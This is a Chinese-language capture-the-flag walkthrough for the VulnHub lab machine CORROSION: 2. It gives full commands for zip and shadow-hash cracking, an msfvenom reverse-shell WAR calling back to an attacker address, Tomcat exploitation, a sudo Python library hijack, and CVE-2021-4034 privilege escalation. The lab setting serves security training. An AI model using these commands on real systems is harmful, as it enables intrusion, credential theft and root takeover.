准备:

攻击机:虚拟机kali、本机win10。

靶机:CORROSION: 2,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/corrosion/Corrosion2.ova.torrent,下载后直接vbox打开即可。

知识点:CVE-2021-4034漏洞利用、fcrackzip爆破zip文件密码、tomcat获取shell(知账户和密码)、unshadow生成密码本、john爆破密码。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.244。

扫描下开放的端口和对应的服务:nmap -T4 -sV -p- -A 192.168.100.244,显示开放了22、80、8080端口,开启了ssh服务、apache服务。

使用dirmap进行目录扫描,80端口未发现有用信息,但是在8080端口发现readme.txt、backup.zip等文件,扫描命令:python dirmap.py -i http://192.168.100.244:8080/ -lcf。

访问下80端口,在80端口的源代码页面中发现让我们查看https://launchpad.net/bugs/1288690网页。

访问下8080端口和端口的readme.txt文件,下载backup.zip文件进行解压查看,但是需要密码。

信息利用:

使用zip密码爆破工具(fcrackzip)进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip,获得密码:@administrator_hi5。

在解压的tomcat-users.xml文件中发现两组账户和密码:manager/melehifokivai、admin/melehifokivai。

使用账户名和密码在8080端口登录。

想着部署项目实现shell反弹,但是失败了,war包生成命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.166 LPORT=6688 -f war -o upfine.war,在本地上传部署后,访问下该服务。

shell获取:

在msf中存在一个配合账号和密码获取tomcat shell权限的exp。

选择该exp:use 6,设置下账号、密码、ip信息、端口信息,然后run即可。

使用当前用户在系统里查看下目录信息和文件信息,在/home下发现两个用户文件夹,但是/jaye的文件夹无权限查看,在randy文件下下发现了note.txt和user.txt进行查看,获得第一个flag。

越权访问:

在虚拟机的初始界面存在三个账户:jaye、randy、tomcat,发现jaye账户使用密码:melehifokivai可以成功登录或者使用xshell登录。

使用jaye账户查看下目录信息和文件信息,在jaye账户下的Files文件下下发现具有root权限和当前账户可执行权限的look命令,在/root文件下发现root.txt文件,因此直接使用look命令读取下root.txt信息,成功获取到flag值。

权限提升:(两种方法)

第一种:

在jaye账户下,使用look命令读取下/etc/shadow文件和/etc/passwd文件,命令:./look '' 文件名,将文件内容复制到本地使用unshadow生成密码本,然后进行暴力破解,生成密码本命令:unshadow passwd shadow > pass.txt。

使用john进行密码爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt,获得两组账户名和密码:melehifokivai/jaye、07051986randy/randy,第一组和前面的猜测一样。emmm时间是真的长,差不多五个小时跑出来的,可以在晚上跑。

使用ssh服务登录randy账户,查看下当前用户有哪些可以不需要root密码就可拥有root权限的文件,发现了randombase64.py。

查看下该文件权限,发现当前用户不具备该文件的写入权限,查看该文件内容,发现其引入了base64模块。

查看下base64文件的位置,命令:locate base64。

查看下base64.py的权限,发现当前用户具有读写权限,因此我们可以在此文件中写入shell脚本。

写入脚本时缺少vim命令,只能采用nano来编辑py文件,写入:import os 和 os.system("/bin/bash")。

shell写入完成后,运行 randombase64.py,命令:sudo /usr/bin/python3.8 /home/randy/randombase64.py,成功获取到root权限并读取flag值。

第二种:

首先查看下不需要root密码可以执行的root权限命令,sudo -l,显示不存在,这个行不通。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现/usr/lib/policykit-1/polkit-agent-helper-1,

下载exp在本地进行编译(make):https://github.com/berdav/CVE-2021-4034,然后将编译好的文件上传到靶机。

在执行时出现了错误,显示:/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found,就对比了一下靶机和本地的该文件,发现靶机不存在这个GLIBC_2.34,命令:strings /usr/lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC。

但是生成的脚本在kali中测试是可以直接获取root权限的,(这里想着把靶机的文件复制过来就行了,但是直接导致kali命令都不能用了,还好有个镜像,直接恢复镜像了)没办法就只能重新找可利用的exp,这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc进行gcc编译,然后上传到靶机进行执行即可获得root权限。

vulnhub靶场之CORROSION: 2的更多相关文章

  1. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. jQuery 查找父元素的函数 parent 和 parents 的区别

    函数 描述 parent([expr]) 查找子节点childNode的父节点,不包括祖先节点 parents([expr]) 查找子节点childNode的父节点,包括祖先节点 Talk is ch ...

  2. 如何免费申请js.org二级域名

    最近看到很多人都去申请了js.org的域名,我就来写个教程吧! (本教程只注重于申请域名,而不是如何使用Github) 看看成品:https://butterfly.js.org/ 官网是这么写的: ...

  3. Java中字节流的总结及代码练习

    Java中的字节流 在描述字节流时,先知道什么是流 流可以分为:输入流和输出流 输入流和输出流 示意图: 字节流读取内容:二进制,音频,视频 优缺点:可以保证视频音频无损,效率低,没有缓冲区 字节流可 ...

  4. java 验证手机号是否合法

    一.通用工具类编写 /** * @project * @Description * @Author songwp * @Date 2022/9/15 17:06 * @Version 1.0.0 ** ...

  5. Windows Server体验之管理

    安装了只有命令行界面的Windows Server之后怎么去管理,对于传统的Windows管理员来说确实是比较棘手的.因为没有了图形化的管理界面,需要更多的去依赖Powershell或者cmd命令去做 ...

  6. Linux查看文件内容和压缩文件命令

    查看文件内容 一些重要的目录: /usr/share/    帮助文档.说明文档/var/log/       日志/var/run/       运行中程序/var/tmp       临时文件 根 ...

  7. Nginx相关模块学习使用实践指南

    转载自:https://www.bilibili.com/read/cv16150654?spm_id_from=333.999.0.0 0x01 Nginx 常用模块使用实践 官方模块使用手册:ht ...

  8. Containerd和Docker的关系

    联系 容器运行时(Container Runtime)是Kubernetes(k8s)最重要的组件之一,负责管理镜像和容器的生命周期.Kubelet通过Container Runtime Interf ...

  9. 第一章:模型层 - 9:查询集API

    本节将详细介绍查询集的API,它建立在下面的模型基础上,与上一节的模型相同: from django.db import models class Blog(models.Model): name = ...

  10. CentOS6 配置阿里云 NTP 服务

    本文以Centos 6.5为例介绍如何修改Linux实例时区,以及开启和配置Linux NTP服务,保证实例本地时间精确同步. 前提条件 NTP服务的通信端口为UDP 123,设置NTP服务之前请确保 ...